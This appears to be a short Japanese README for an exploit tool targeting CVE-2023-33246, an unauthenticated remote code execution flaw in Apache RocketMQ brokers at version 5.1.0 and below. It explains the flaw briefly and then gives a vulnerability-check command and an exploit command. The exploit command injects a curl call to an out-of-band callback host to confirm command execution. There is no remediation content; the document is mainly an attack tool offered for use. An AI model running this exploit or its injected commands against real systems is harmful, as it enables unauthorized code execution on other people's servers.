mkjos/cve-2023-33246_rocketmq_rce_expApache RocketMQブローカを標的としたCVE-2023-33246のエクスプロイト。脆弱なバージョン5.1.0以下において、認証なしの設定更新または偽造されたプロトコルメッセージを介して任意のコマンドを実行します。
CVE-2023-33246 RocketMQ リモートコード実行エクスプロイト
RocketMQ バージョン 5.1.0 以下は、任意のコードインジェクションに対して脆弱です。RocketMQのBrokerコンポーネントが外部ネットワークに漏洩しており、権限検証が不足しています。攻撃者は、設定更新機能を利用して、RocketMQが動作しているシステムユーザーとしてコマンドを実行することで、この脆弱性を悪用できます。さらに、攻撃者はRocketMQプロトコルコンテンツを偽装することで同じ効果を得ることができます。
確認
./RocketMQRceCheck -host 127.0.0.1 -port 9876
エクスプロイト
RocketMQ_RCE_EXPLOIT 127.0.0.1 10911 curl chw9ft72vtc00002z5k0ge6rz7eyyyyyb.oast.fun/test